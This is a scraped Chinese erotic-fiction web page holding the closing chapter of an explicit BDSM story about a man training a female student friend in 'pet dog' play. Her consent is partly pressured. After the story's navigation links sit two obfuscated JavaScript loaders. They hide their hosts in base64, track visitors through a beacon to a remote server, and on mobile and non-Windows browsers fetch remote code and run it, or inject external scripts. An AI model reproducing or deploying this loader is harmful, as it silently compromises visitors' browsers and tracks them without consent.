图片载入中

SM超友谊接触(下)

特大字】 【大字】 【中字】 【小字

我年纪大,心血少,几乎受不起Suki给我的刺激而当场晕倒。

在过去一年里,我经常都跟她谈论性虐待游戏的种种,当我们聊到兴起时,真是天南地北无所不谈的,故此她自然晓得我对女犬调教抱有特别浓厚的兴趣,今次真是被她找到我的死穴了。

我呆若木鸡地站着,在旁的她终于忍不住大笑起来。

当我们离开太平山回到九龙区后,我已经急不及待地带Suki到油麻地的成人用品商店购买我理想中的道具。毕生的愿望将要实现,莫说多花点钱来买道具,就算要了我条命都没紧要了。

反而是Suki,当看到我所购买的下流淫具,想到这些东西会用在自己身上时,她面上现出了一瞬间的后悔表情。

接近十时,我们回到雅兰酒店。我们洗澡完毕后,我已经紧张到有点手震。

从浴室出来,Suki当然是一丝不挂了,而我则穿起了一件浴袍。我轻吻一下她的小嘴当作安抚,才向她下了四个命令。

第一:从现在开始直至明早九时以前,除了我给她的道具外,她都必须保持全身赤裸。

第二:在这段时间内,她不能使用双脚步行,必须保持四脚爬行的姿势,亦不能使双手。

第三:她不可以说话,只能用吠叫来表达意思。

第四:她必须服从我的命令,配合我的调教。

当她明白我的意思后,就乖乖地趴在地上等待我下一步的指示。

我拿出刚才在性商店所买的用具,那是一套日本进口的全犬型套装玩具。当中包括了大型犬用的首轮连狗带,一个犬耳型的发箍,走珠式犬眼睛的蒙眼罩,一个长身犬嘴型堵口器,一对犬爪型手套,一对犬爪型脚套,一条塑胶制的狗骨头,当然还有少不得的犬尾型肛塞,全套皆为野良犬型的浅褐色。

1

羞型的少女(虽然她的性格并非如此),可恨那商店竟然没有购入这个色种。

虽然并不是我最想要的颜色,但这个也只是小问题而已。见到这些造得惟妙惟肖的超下流玩具,尤其是那条毛茸茸的尾巴,我感到下体已经有充血的现象。

我先为Suki戴上犬用的首轮和犬耳发箍,再为她套上了那四个爪子套。

至于那个犬嘴型口塞,我也是今日才第一次见到,不禁好奇地拿了起来研究一番,才发觉原来在犬嘴背后藏着一个打了洞的细小塑胶球,还有一条喉管连到出边,让女性的唾液能够排出犬嘴之外。我小心地把胶球塞进Suki的樱桃小嘴内,把狗嘴旁边的绳子拉到她的后脑打结。

我问Suki那些玩具有否让她不适,她微微摇头表示没有。我再问她可否发出声音,她从堵口器中勉强低叫了两声。

最后,就是那条假尾巴了。

我先为Suki按摩了菊门让她放松一些,耐心地把涂抹了KY膏的假尾巴往她的小菊穴内插进去。

可能是因为今早的肛交使她有点疼痛,我花了很长时间才把整支假尾巴尽插入她体内。在我插入假尾巴时,意外地发现Suki的前门肉唇竟然开始变红发胀,我才晓得她已经体验到女犬调教中精神羞辱的感觉。

Pug-In完毕,这位标致可爱的女大学生顿时变成了一头等待训练的宠物。

Suki本来就生得娇小玲珑,这种体型作为男性的小宠物实在非常合适。

狗圈、狗带、狗耳、狗嘴、狗爪和狗尾巴,当全部的变态玩具都安到这具雪白女体后,欣赏她这母狗打扮的淫亵变态感觉真是很棒。

牝犬调教正式开始,第一步自然是犬只爬行。

我右手执起了九尾鞭,左手拉着连在Suki首轮的狗带,让她围着我脚边缓缓爬行,同时口中数着节拍让她依着举步。我逐步纠正她爬行的姿势,让她学习膝盖离地,以前脚踝和手掌支援身体,把屁股翘高来爬行。每次当Suki的姿势出错,我都会用九尾鞭轻轻打到她翘起的浑圆屁股蛋上,每一下鞭打她,其身体也会出现反射性的轻微颤动。

Suki围着我爬了八个圈后,才总算爬得似模似样。

我满足地欣赏这头美女犬的姿态,长长的狗嘴,摇摆的尾巴,爬行时女性美丽肉体产生的动感,真是一幅百看不厌的绝景。

在训练爬行的过程中,Suki的脸颊亦开始绯红,垂在半空随着乳房摆动的粉红乳头亦明显地勃起。

这就是D∕S系性奴的特质和优势,亦是最影响性虐待游戏乐趣的要素。

M质素高的女性,基于身体反应,对羞耻行为能够产生同比例的快感,故此才可以快速投入性虐游戏中的角色内,与S一起享受SM的乐趣。若果是欠缺M性的女人,在游戏中不是反抗就是哭嚎,在无法配合之下如何可以享受乐趣。当然,那些爱看女性哭泣的暴力狂则是例外。

Suki正好就是前者。

她白嫩的娇躯慢慢染成粉红,这种红对男人来说是世上最可爱的。她对我的调教越来越配合,努力地翘高屁股在我的脚边爬来爬去,从狗嘴里更流出了银丝般的唾液。她的瞳孔湿润而美丽,更让我清楚知道一点,现在的她已经进入了兴奋状态。

如果估计没有错误,鞭打进入兴奋状态的M女将会做成正面的影响。我放胆增加鞭打的力度,啪啪作响地打在她身上。在我的鞭打中,Suki爬行得越加困难,但同时呻吟的频率却增加。

爬到第十三圈,Suki的眼光已经变得迷茫失神,在狗嘴边更流出大量的唾液,爬行动作变成了一项单纯的本能。

她此时的模样真的跟流浪狗很相似。

第十七圈,Suki到达了极限,突然惨叫一声就伏在地上不住颤抖,然后是一阵彷似犬只的哀鸣。

我调轻鞭打力度,但却不断地辱骂Suki为母狗来刺激她的精神,让她像条真狗一样伏在主人脚边享受这个小高潮。

给她休息了数分钟后,利用她仍处在情欲高涨和理智迷煳的时机,我开始教她一些最简单的犬艺。

Suki对性虐待的知识并不比我少(可能比我还多),她学习的速度当然更惊人。我只需要叫出“起立”,她就很爽快地蹲起身体,把两只小爪子垂在臂前。

此时我要做的已很简单,就是引导她做出我所爱看的淫贱姿势。

我用九尾鞭向她的肩膀扫了一扫,命令她把蹲着的大腿尽量分开,伸直腰肢把胸部挺起来,面部更不能垂下而应该微微仰起。

Suki慢慢摆出我要求的姿势,在分开了的腿间尽头处,大阴唇已经湿润和充血,挺起的胸部乳房亦因为异常的刺激而不停地起起伏伏。Suki迷雾般的眼眸闪动着因羞赧而来的奇异神采,即使套上了狗嘴但仍没损她的魅力,我首次发现原来Suki可以漂亮如斯。

我下命令要Suki吠出来,她似是被触动某种本能,美丽的肉体微一打颤后,在堵口器内硬拼出一个不清楚的“汪”音。

感觉上,Suki已经真正变成一头贴贴服服的狗了。

把一名女性调教成真狗一样,以个人论,我确实很向往这份带点破坏味道的感觉,尤其对像是Suki,曾经与我有讲有笑,非常投契,一向是地位跟我对等的要好朋友,但现在却变成可以任由我摆布玩弄,随时拿来发泄性欲的一条母狗。

“起立”之后是“趴下”。Suki乖乖地伏在地上动也不动,只有插入直肠之中的假尾巴,因为她紧张而提肛的反应在空中微微抖动着,似是向饲主摇尾讨怜。

最后我命令Suki“装死”,她也很快速地蜷曲起手脚躺在地毯上,摆出了小狗装死的趣怪姿势。

一个突如其来的发现,Suki竟然保持着跟我的眼神交流!

如果是普通女性,做出这种羞耻的姿势后,一定会立即把眼光移开的,可是Suki带着迷失的眼光却与我对望,即是说她此时已经彻底抛下理智及尊严,放开自己的潜在欲望扮演一头听话可爱的小狗,相信在她体内的羞辱系M性已全面地发挥出来。

可惜只有一晚时间,没法可以慢慢调教Suki,否则她一定可以成为一头最理想的女犬。然而,到现时为止,她的M性和学习的速度已让我很满意了。

我让Suki爬起身并命令她保持四肢着地不要乱动,为她戴上那个猥琐抵死的走珠型狗眼罩,开始用她的相机为我这头可爱的小母狗拍照留念。

我更要她摆出了“起立”和“装死”等等羞耻的姿态,本以为戴上眼罩会为她减少一点心理压力,可是当我按下快门的一刻,她仍然随着相机那“卡”的一声忍不住发出了哀鸣和呻吟。

真可惜,在没有脚架的情况下没法可以拍到我跟她的合照。

拍下了十多幅照片后,我为她除下了眼罩并执着她颈上的狗带子,把她牵到床上面对着梳妆台上的镜子。

其实玩到这里,我和Suki同样都非常需要了。

我命令她把屁股抬高望向镜子,当她看到镜子中自己那副丑态时,女性矜持的本能终于迫使她把目光移开。可是我一拉她的狗带,再次命令她望着镜子不得把视线移走。强大的羞辱使Suki的唿吸更为沉重,但狗嘴和女阴滴下了不少的唾液和爱液。

我忍不住伸手抚摸Suki的胸部,柔软弹手的乳房,饱满发硬的乳头,摸上去的触感非常良好。我将胯下硬挺的阳物对好位置,轻轻一推,毫无阻碍就进入了Suki早已兴奋的性器深处。

Suki的下体简直就是山洪暴发,活塞动作除了发出淫亵的声音外,更把她的爱液溅到我的小腹。受到肛塞的影响,她的腔道加增压力扣着我的阳物,腰部亦主动摆动来配合我的奸淫。

在热烈的性交之中,我和Suki的视线焦点都同时放在梳妆台的镜子上。

她看着自己以母狗的打扮,从后被男人拉着狗带扯着首轮来抽插,而我则好像是兽交般奸淫一条口沬横飞的母狗。

在我的冲刺下,Suki明显的来了两次强烈高潮,她亦在镜里欣赏了两次自己高潮时的表情耻态。最后我当然是照惯例把精液射进她的体内深处去。

太好玩了!!

大战过后,我把娇小的Suki抱在怀里小睡片刻。

晚上十一时半左右,我今晚实在很兴奋,很久都没有试过这么兴奋。虽然我明早还要上班,可是我也不想考虑太多,只想一直地玩弄Suki这条有趣的小母狗,直至我或她筋疲力竭为止。

Epilogue

我除下了Suki的狗嘴口塞,发现它竟在Suki可爱的脸蛋上印下了一个圆形红色的暗痕。我亲手为她抹拭面上的口水时,越发觉得她被虐待后的样子惹人怜爱,可是这副楚楚可怜的嘴脸同时又使我更想去欺侮和虐待她。

真是矛盾的心态。

抱起了Suki,我忍不住跟她来了一个长长的湿吻,而她亦热情地响应着我。

虽然我很想跟Suki玩到天光,但她始终是女孩子,体力未必可以应付得来,故此我还是询问她能否继续玩下去。她并未忘记我的命令,口里不敢说出半句话,只是轻轻点头示意能够继续。

我暗唿一口气,放下了心头大石,可是手掌却打在Suki的屁股上。我开始教导她母狗表达意思的方法,着她吠两声表达明白、可以或者好等正面意思,吠三声则相反。

Suki十分不好意思,用力地把脸往我的怀里挤,嘴上微微地吠了两声,那两个带着羞赧味道的“汪”实在动听得很。

把Suki抱到地上,我则坐到椅子,随手拿起那块塑料制的假骨头抛到地上。

Suki看见我的举动,她应该知道接下来要训练什么了,面上羞涩之色更浓。我下达命令,Suki以我所教的方法,翘着屁股,举步优雅地爬到胶骨头处,俯下身尝试用嘴把它咬起来。

人类毕竟是不习惯用口来取对象的,而且要把重心偏低来咬起地上的骨头就更困难。Suki虽然有良好的被虐特质,但她并非超人,好几回骨头都在她的牙齿中滑开,她辛苦地试了五、六次后才成功把骨头咬起来。

Suki咬着骨头爬到我面前,我教导她向主人奉献对象的姿势,让她伸直腰挺起胸,双手虚放半空等待我的命令。

我并不急于取回骨头,反而悠闲地坐在椅里,观赏这条小母狗笨拙有趣的样子。当然,我也不忘边看边嘲笑她。

摆出这副德性,还被我面对面地讥笑羞辱,Suki有什么感觉可想而知,可偏偏她挺起的乳头却不争气,竟硬硬地勃起斜指向上,与羞涩表情相反的身体反应让人一目了然。

我不禁伸手到她的胸前,轻捏了她那显眼的乳头好几次,才笑着拍几拍她的头顶,在她的口中取回胶骨头。我笑问她为什么她的乳头会勃得这么硬,是否很喜欢被男人这样子玩弄,她胀红了小脸蛋地汪汪的吠出两声。

真的很奇妙,望着Suki由一位留美的大学生,变成我眼前这头任我作贱践踏的母狗,那份淫靡的变化感实在难以言明,总之就是爽透。

我又把骨头抛出去,让Suki再次捡回来。如是者重复多遍,直至Suki能够快速地咬起骨头为止,我还嘲笑她不愧是大学生,连当母狗也学习得这么快。

及后,我除了胶骨头外,还使用穿过的臭拖鞋和袜子,以及Suki自己的内裤来继续调教着她。在开始时,要她把这些有异味的东西咬在口中,她多少有点抗拒,但在重复又重复的训练下,Suki慢慢对我的命令不加思索地贯彻执行。

不知为何,我似乎特别喜欢让Suki咬着我的袜子,她在训练过后更开始不用牙齿,而直接用口唇来夹着。听说羞辱系的M女或多或少有逐臭癖,当中似乎不无道理。

拾物的训练差不多了,我徐徐起身并拉起Suki的狗带,她咬着骨头陪伴着我在房中散步,还不时用身体来磨擦我的浴袍,十足一只在讨主人欢喜的小狗狗。

Suki对我的讨好行为连我都感到意外。这点除了与她的M质素有关外,以我猜想与她自己对性虐待有正确认识和主观想法有关,她本身大胆爽朗和好动贪玩的性格亦可以是一个因素。

真可爱。

这种M真不是随便找到,我想不疼她也不行。

坐到床沿上,我对Suki说母狗是以摇摆尾巴和用脸磨蹭主人的脚来表示热爱主人的,她闻言后果然把脸往我毛茸茸的小腿处磨蹭,同时亦努力地扭动屁股,那支从小菊穴中伸出来的尾巴亦左摇右摆,她这个样子煞是有趣。

从小腿处传来热力,到现在我才发现Suki的脸颊非常烫热。

看看时间,真是快乐不知时日过,原来已差不多凌晨一时了。

我心里不怀好意,面上却埋起笑容,下令叫Suki放下骨头和“起立”。

练习了多次的犬艺训练,Suki驾轻就熟地摆出了姿势,而且亦没有出现太大的羞耻表情。

我问她想不想玩得更刺激,这个贪玩鬼自然又吠了两声。

可是我心中暗忖,你中计了。

把骨头横放到Suki的小嘴里咬着,拉一拉手上的狗带,牵着我这条可爱的小母狗行近房门。Suki终于发现原来我想带她出房外遛狗,她吓得不敢再爬,连口里的骨头也跌下来,更大摇其头连续叫了三声“汪”,表示不愿意以这个下流打扮出房间。

虽然我是Suki的主人,但并不代表我可以强迫她干她不想干的事情。我半跪下来,把Suki犹如小宠物般抱入怀里又吻又哄。经过我的“威迫利诱”后,她才跟我妥协,愿意与我到房外来回爬一个圈。

多年以来,一直渴望牵着一条美女犬在开放的地方遛狗,这个愿望终于在今晚实现了。哈哈哈哈哈!!

Suki忐忑不安地注视着我把房门打开,我率先步出房间,她咬着骨头把头伸出房外,探头探脑地观察走廊的情况。

她这个模样实在很滑稽。

不知是否心理因素,出了房间关了房门之后,总感到走廊的空气特别寒冷,四周静得怕连蚊子飞过都可以听得到。这种宁静的张力,反而加重了我们的心理压力,不知道会不会有住客突然打开房门,更增添我们提心吊胆的紧张感。

我牵着Suki在廊道散步,她主动地爬到前头,希望可以尽快爬完一个圈返回房间,可是心眼坏的我又岂会让她如愿。

控制着速度,我不徐不疾地牵着Suki,在她的背后我更发现她紧张到双腿抖颤。

如果此时有人打开房门,准会看到一位全身洁白的美少女裸露胴体,小嘴里咬着一支骨头,屁股缝中深深插着一条尾巴,在暗红色的地毯上被一个男人牵着爬行的奇景。

但问题是半夜一点钟,会不会这么巧有人走出来。

当我们来到升降机的守候处,我把Suki口中的假骨头拿过来,快速地向走廊的另一端用力掷出去。Suki的表情写满了惊讶,她大概没想到我会在走廊上这样玩她。

我发号施令,Suki以比刚才快上一倍有多的高速爬行,越过多个房间门口来到骨头处把它咬起来。此时我实在很好奇,到底她的心情如何,是否觉得很紧张刺激。她急急咬起骨头爬回来,以“起立”的姿态向我奉献骨头。

在这种特殊的环境下,Suki已经没法顾及羞耻不羞耻了,她唯一可以做的就只有尽量来迎合我。

当我玩狗狗正玩得起劲之时,升降机突然传来了“叮”的一声。我的心头猛震,Suki更僵着不懂反应。我急急抱起了她躲回走廊,偷听是否有人步出升降机。

等了一会儿都没有动静,看来只是虚惊一场。可是被我抱着的Suki却向我摇头乞怜,暗示想快点回房间里去。

其实我也一样胆心有住客出现,但表面上当然不会如此容易放过她。我要她答应我一切要求,才让她回去房间,她别无选择下想不答应也不行了。

虽然只能跟Suki熘一个圈,但对我来说已经很满足。

甫入房间关起了门,我立即向Suki下命令,要在她房门后“装死”。她躺在门前的地毯上,四只爪子蜷曲在空气中。

看到Suki这个趣怪姿势,我真的有股冲动想把房门打开,叫其它住客出来一起观看。

我在Suki身旁蹲下来,一手罩上她的乳房搓揉起来,另一手则直接用手指插入她体内。Suki属羞耻系性奴,强烈的羞辱自然换来相同分量的快感,原来她的爱液早已流到大腿内侧了,可是刚才太过紧张的我到现在才发觉。

她似乎也是这样,刚才在走廊散步虽然燃起了她的欲火,可是在回到房间松弛下来后,她才能清楚感到自己身体的状态。

我一边搓着Suki的美乳,一边老实不客气地挖着她的肉穴。只需三几下功夫,Suki就在门口的地毯上来了一次高潮,幸好先让她咬着骨头,否则她可能大声地呻吟出来,让门外走廊都听到。

凌晨一时二十分,我抱了Suki上床休息,并为她脱下那些狗耳和狗爪,只保留她颈上的狗项圈和屁股中的狗尾巴。至于为何要留着那条尾巴,其实没有特别理由,只是我个人的喜好而已。

在房外遛了一圈回来的Suki已经香汗淋漓,所以我跟她一起在浴室之中洗澡。在洗澡时,我突然想起了一件很重要的事情还未做。

没错,就是传说中的母狗放尿!

我在Suki耳边把这个要求细声地说出,她立即“啊”的一声叫了起来。

从昨日的调教得知,Suki特别介意在人前大小便,但她刚才在走廊中曾经答应无论我有什么要求她都会照办。这一点,她倒是很守信用。

灵光一闪,我急急跳出了浴缸,跑出浴室外拿取Suki的照相机。当我回到浴室时,Suki一脸红霞,呆若木鸡地看着我手中的相机不懂反应。

我故意黑起了脸,摆出主人的高姿态,向呆坐浴缸的她一指,她才紧咬下唇地慢慢趴在浴缸里,缓缓提起了左脚。

在浴缸的空间限制下,她的左脚不可能只抬起少许了事,而必须抬至高过浴缸边沿才行。身型较矮的她,脚就更加要抬高过腰,而且因为浴缸湿滑,要保持平衡就必须把抬起的脚伸直一点,也更让我大饱眼福。

原来浴缸有此妙用,我也是到今日才知道。

Suki本就是白白净净的女孩,全身湿透之后她翘起的那条腿就更显眼。

早被剃净耻毛的阴户,配合这个母狗放尿的姿势实在另有一番风味。

我拿起相机向着Suki,她的表情变得很复杂,一对眉毛轻皱成八字,非常可爱。在期待之下,从Suki粉红的秘唇里洒出一道金黄色的尿液,直喷向浴缸的边沿,有些更溢出了缸边流到浴室地板。

当我按下快门时,我发现自己的手跟着猛跳的心脏而震抖,恐怕照出来的相片效果也不会太好。

可恶,我何时变得这么没用的。

其实不单是我,当相机的闪灯打在Suki身上时,她一样不断地震抖着。

学着小狗一样抬起一条腿排尿,更被一名男子从旁拍照,Suki还未小便完毕就开始吟呻起来,连那抬起的脚掌也紧缩起五只小脚趾。排尿像是持续了很久,Suki亦开始慢慢放松。

当她小解完了后,她定眼地望着我,没有羞耻,亦没有不快,只有一种男人看一眼就会明白的讯息。

是雌性向雄性求偶的眼神。

Suki跟我一样,非常兴奋亦非常需要。收好了Suki的宝贝相机,我就在浴室之内把她就地正法。

今晚我们都已经到了体力极限,连精力旺盛的Suki都疲惫不堪。我把她抱出浴室,把那枝湿了水的假尾巴除下来,让她安躺在房间的床边。

虽然狠心了一点,但我觉得女犬调教必须要贯彻始终才成。我不让Suki睡到床上,但在床边地毯上铺了一层被子,把狗带扣在她的项圈上,另一端也绑到床脚。我想让Suki认真地体验女犬的感觉,才特意要她睡在主人的床边。

Suki已经很疲倦,她只是甜甜地睡觉,任由我把她放在地上而完全没有反应。关了灯,我怀着前所未有的满足进入梦乡。

八月廿五日星期一,早上的八时十分,我被手提电话设定的响闹弄醒。从床上爬起来,望向仍熟睡在床脚的Suki,她仍然是一丝不挂地睡在被子上,嘴角还流出少少口水,看来真的睡得很舒服。

本来她答应充当女犬的时间是到九时的,应该还有少许时间可以再逗玩她,可是看到她睡得这么甜我又不忍心把她叫醒。

结果留下一张纸条就梳洗离开酒店。

下午五时半,我放工后打了电话给Suki,跟她约好在旺角地铁站前等。

六时十五分,我和Suki从旺角站坐的士,到九龙城出名的创发记食潮洲菜。这一餐是为Suki送行的,自然也是我作客了。我点了很多有名的菜式,让这丫头吃了个饱。虽然这一餐并不便宜,可是饭后欣赏她抱着肚子,瘫在椅上叫饱饱的可爱模样实在值回票价。

Suki还笑说我不停地带她吃这么多的美食,短短几日她恐怕至少重了三磅,回美国后非得要节食不可了。

九时半,我们来到赤腊角机场。当来到机场禁区时,虽然明知是没可能,但仍然生出一个冲动想叫她留在香港。真没想到我这个成熟的男人,也会有这种小女生的天真时候,不知是否被这家伙传染了我。

Suki毕竟是未熟透的小女孩,此时她眼中泛起了泪光,看到她眼红红的样子害我这大男人也想哭起来。

临上机前,她给我来最后一个拥抱和接吻作为最后的礼物,而这个吻的感觉相当之好。她更对我说,圣诞节时她会留在美国的,问我会不会到美国探望她。

她更红着脸地悄悄说,美国有很多便宜又偏僻的别墅出租。

哈,真不惭是Suki,看来她玩上瘾了。

圣诞节,其实我都未有打算要如何度过,到时才算吧。

<<End>>


上一篇:SM超友谊接触(中)

下一篇:皮条客春药干女侠(上)


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};